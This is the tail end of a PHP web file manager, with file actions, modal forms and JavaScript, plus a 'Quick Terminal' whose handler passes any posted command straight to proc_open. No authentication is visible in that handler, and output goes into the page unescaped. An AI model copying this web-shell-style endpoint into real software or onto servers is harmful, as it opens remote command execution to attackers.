            <td class="date-cell"><?= $item['modified'] ?></td>
            <td class="perms-cell" title="<?= $item['perms_octal'] ?>"><?= $item['perms'] ?></td>
            <td class="owner-cell"><?= $item['owner'] ?>:<?= $item['group'] ?></td>
            <td class="actions-cell">
                <?php if ($item['name'] !== '..'): ?>
                    <?php if (!$item['is_dir'] && is_editable($item['name'])): ?>
                        <a href="<?= self_url(['edit' => $item['path']]) ?>" class="btn btn-sm" title="Edit">✏️</a>
                    <?php endif; ?>
                    <?php if (!$item['is_dir']): ?>
                        <a href="<?= self_url(['download' => $item['path']]) ?>" class="btn btn-sm" title="Download">⬇</a>
                    <?php endif; ?>
                    <?php if (is_archive($item['name'])): ?>
                        <button class="btn btn-sm" title="Extract" onclick="extractFile('<?= htmlspecialchars(addslashes($item['path'])) ?>')">📦</button>
                    <?php endif; ?>
                    <button class="btn btn-sm" title="Rename" onclick="renameItem('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')">✏️</button>
                    <button class="btn btn-sm" title="Chmod" onclick="chmodItem('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= $item['perms_octal'] ?>')">🔒</button>
                    <button class="btn btn-sm" title="Copy" onclick="copyItem('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')">📋</button>
                    <button class="btn btn-sm" title="Move" onclick="moveItem('<?= htmlspecialchars(addslashes($item['path'])) ?>')">📁</button>
                    <button class="btn btn-sm" title="Compress" onclick="compressItem('<?= htmlspecialchars(addslashes($item['path'])) ?>')">🗜️</button>
                    <form method="post" style="display:inline" onsubmit="return confirm('Delete <?= htmlspecialchars(addslashes($item['name'])) ?>?')">
                        <input type="hidden" name="delete_path" value="<?= htmlspecialchars($item['path']) ?>">
                        <button type="submit" class="btn btn-sm btn-danger" title="Delete">🗑️</button>
                    </form>
                <?php endif; ?>
            </td>
        </tr>
    <?php endforeach; ?>
    </tbody>
</table>
</div>

<!-- ═══ MODALS ═══ -->

<!-- New File Modal -->
<div class="modal-overlay" id="new-file-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Create New File</h3>
        <form method="post">
            <label>Filename</label>
            <input type="text" name="new_file_name" placeholder="example.php" autofocus required>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Create</button>
            </div>
        </form>
    </div>
</div>

<!-- New Directory Modal -->
<div class="modal-overlay" id="new-dir-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Create New Directory</h3>
        <form method="post">
            <label>Directory name</label>
            <input type="text" name="new_dir_name" placeholder="new-folder" required>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Create</button>
            </div>
        </form>
    </div>
</div>

<!-- Rename Modal -->
<div class="modal-overlay" id="rename-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Rename</h3>
        <form method="post">
            <input type="hidden" name="rename_from" id="rename-from">
            <label>New name</label>
            <input type="text" name="rename_to" id="rename-to" required>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Rename</button>
            </div>
        </form>
    </div>
</div>

<!-- Chmod Modal -->
<div class="modal-overlay" id="chmod-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Change Permissions</h3>
        <form method="post">
            <input type="hidden" name="chmod_path" id="chmod-path">
            <label>Permissions (octal)</label>
            <input type="text" name="chmod_value" id="chmod-value" placeholder="0755" pattern="[0-7]{3,4}" required>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Apply</button>
            </div>
        </form>
    </div>
</div>

<!-- Copy Modal -->
<div class="modal-overlay" id="copy-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Copy To</h3>
        <form method="post">
            <input type="hidden" name="copy_from" id="copy-from">
            <label>Destination path</label>
            <input type="text" name="copy_to" id="copy-to" required>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Copy</button>
            </div>
        </form>
    </div>
</div>

<!-- Move Modal -->
<div class="modal-overlay" id="move-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Move To</h3>
        <form method="post">
            <input type="hidden" name="move_from" id="move-from">
            <label>Destination path</label>
            <input type="text" name="move_to" id="move-to" required>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Move</button>
            </div>
        </form>
    </div>
</div>

<!-- Extract Modal -->
<div class="modal-overlay" id="extract-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Extract Archive</h3>
        <form method="post">
            <input type="hidden" name="extract_path" id="extract-path">
            <label>Extract to (leave empty for same directory)</label>
            <input type="text" name="extract_to" id="extract-to" placeholder="<?= htmlspecialchars($current_path) ?>">
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Extract</button>
            </div>
        </form>
    </div>
</div>

<!-- Compress Modal -->
<div class="modal-overlay" id="compress-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal">
        <h3>Compress</h3>
        <form method="post">
            <input type="hidden" name="compress_path" id="compress-path">
            <label>Format</label>
            <select name="compress_type">
                <option value="zip">ZIP</option>
                <option value="targz">TAR.GZ</option>
            </select>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="hideModals()">Cancel</button>
                <button type="submit" class="btn btn-accent">Compress</button>
            </div>
        </form>
    </div>
</div>

<!-- Terminal Modal -->
<div class="modal-overlay" id="terminal-modal" onclick="if(event.target===this)hideModals()">
    <div class="modal" style="max-width:640px">
        <h3>⌨ Quick Terminal</h3>
        <div id="terminal-output" style="background:rgba(0,0,0,0.4); border:1px solid var(--border); border-radius:var(--radius-sm); padding:12px; min-height:150px; max-height:300px; overflow-y:auto; font-family:var(--mono); font-size:12px; color:var(--accent); margin-bottom:12px; white-space:pre-wrap;"></div>
        <div style="display:flex; gap:8px;">
            <span style="color:var(--accent); font-family:var(--mono); line-height:36px;">$</span>
            <input type="text" id="terminal-cmd" placeholder="ls -la" style="flex:1; padding:8px 12px; background:var(--bg-input); border:1px solid var(--border); border-radius:var(--radius-sm); color:var(--text-bright); font-family:var(--mono); font-size:12px; outline:none;" onkeydown="if(event.key==='Enter')runCmd()">
            <button class="btn btn-accent" onclick="runCmd()">Run</button>
        </div>
        <div class="modal-actions">
            <button type="button" class="btn" onclick="hideModals()">Close</button>
        </div>
    </div>
</div>

<?php endif; ?>

<!-- ═══ TERMINAL AJAX HANDLER ═══ -->
<?php
if (isset($_POST['ajax_cmd'])) {
    header('Content-Type: application/json');
    $cmd = $_POST['ajax_cmd'];
    $cwd = isset($_POST['ajax_cwd']) ? $_POST['ajax_cwd'] : FM_ROOT;
    $output = [];
    $proc = proc_open($cmd, [
        1 => ['pipe', 'w'],
        2 => ['pipe', 'w'],
    ], $pipes, $cwd);
    if (is_resource($proc)) {
        $stdout = stream_get_contents($pipes[1]);
        $stderr = stream_get_contents($pipes[2]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($proc);
        echo json_encode(['output' => $stdout . $stderr]);
    } else {
        echo json_encode(['output' => 'Failed to execute command']);
    }
    exit;
}
?>

<script>
function showModal(id) {
    document.getElementById(id).classList.add('active');
    const input = document.querySelector('#' + id + ' input[type="text"]');
    if (input) setTimeout(() => input.focus(), 100);
}

function hideModals() {
    document.querySelectorAll('.modal-overlay').forEach(m => m.classList.remove('active'));
}

function toggleUpload() {
    document.getElementById('drop-zone').classList.toggle('active');
}

function renameItem(path, name) {
    document.getElementById('rename-from').value = path;
    document.getElementById('rename-to').value = name;
    showModal('rename-modal');
}

function chmodItem(path, current) {
    document.getElementById('chmod-path').value = path;
    document.getElementById('chmod-value').value = current;
    showModal('chmod-modal');
}

function copyItem(path, name) {
    document.getElementById('copy-from').value = path;
    document.getElementById('copy-to').value = path.replace(name, 'copy_' + name);
    showModal('copy-modal');
}

function moveItem(path) {
    document.getElementById('move-from').value = path;
    document.getElementById('move-to').value = path;
    showModal('move-modal');
}

function extractFile(path) {
    document.getElementById('extract-path').value = path;
    showModal('extract-modal');
}

function compressItem(path) {
    document.getElementById('compress-path').value = path;
    showModal('compress-modal');
}

// Terminal
function runCmd() {
    const input = document.getElementById('terminal-cmd');
    const output = document.getElementById('terminal-output');
    const cmd = input.value.trim();
    if (!cmd) return;

    output.innerHTML += '<span style="color:#fbbf24">$ ' + cmd + '</span>\n';
    input.value = '';

    fetch(window.location.pathname, {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'ajax_cmd=' + encodeURIComponent(cmd) + '&ajax_cwd=<?= urlencode($current_path) ?>'
    })
    .then(r => r.json())
    .then(data => {
        output.innerHTML += data.output + '\n';
        output.scrollTop = output.scrollHeight;
    })
    .catch(e => {
        output.innerHTML += '<span style="color:#f87171">Error: ' + e + '</span>\n';
    });
}

// Drag & drop
const dropZone = document.getElementById('drop-zone');
if (dropZone) {
    ['dragenter','dragover'].forEach(e => {
        document.body.addEventListener(e, (ev) => {
            ev.preventDefault();
            dropZone.classList.add('active');
            dropZone.classList.add('dragover');
        });
    });
    ['dragleave','drop'].forEach(e => {
        dropZone.addEventListener(e, (ev) => {
            ev.preventDefault();
            dropZone.classList.remove('dragover');
        });
    });
    dropZone.addEventListener('drop', (ev) => {
        const files = ev.dataTransfer.files;
        if (files.length > 0) {
            const input = document.getElementById('file-input');
            input.files = files;
            document.getElementById('upload-form').submit();
        }
    });
}

// Keyboard shortcuts
document.addEventListener('keydown', (e) => {
    if (e.key === 'Escape') hideModals();
});

// Tab in editor
const editor = document.querySelector('.editor-textarea');
if (editor) {
    editor.addEventListener('keydown', function(e) {
        if (e.key === 'Tab') {
            e.preventDefault();
            const start = this.selectionStart;
            const end = this.selectionEnd;
            this.value = this.value.substring(0, start) + '    ' + this.value.substring(end);
            this.selectionStart = this.selectionEnd = start + 4;
        }
    });
}
</script>

</body>
</html>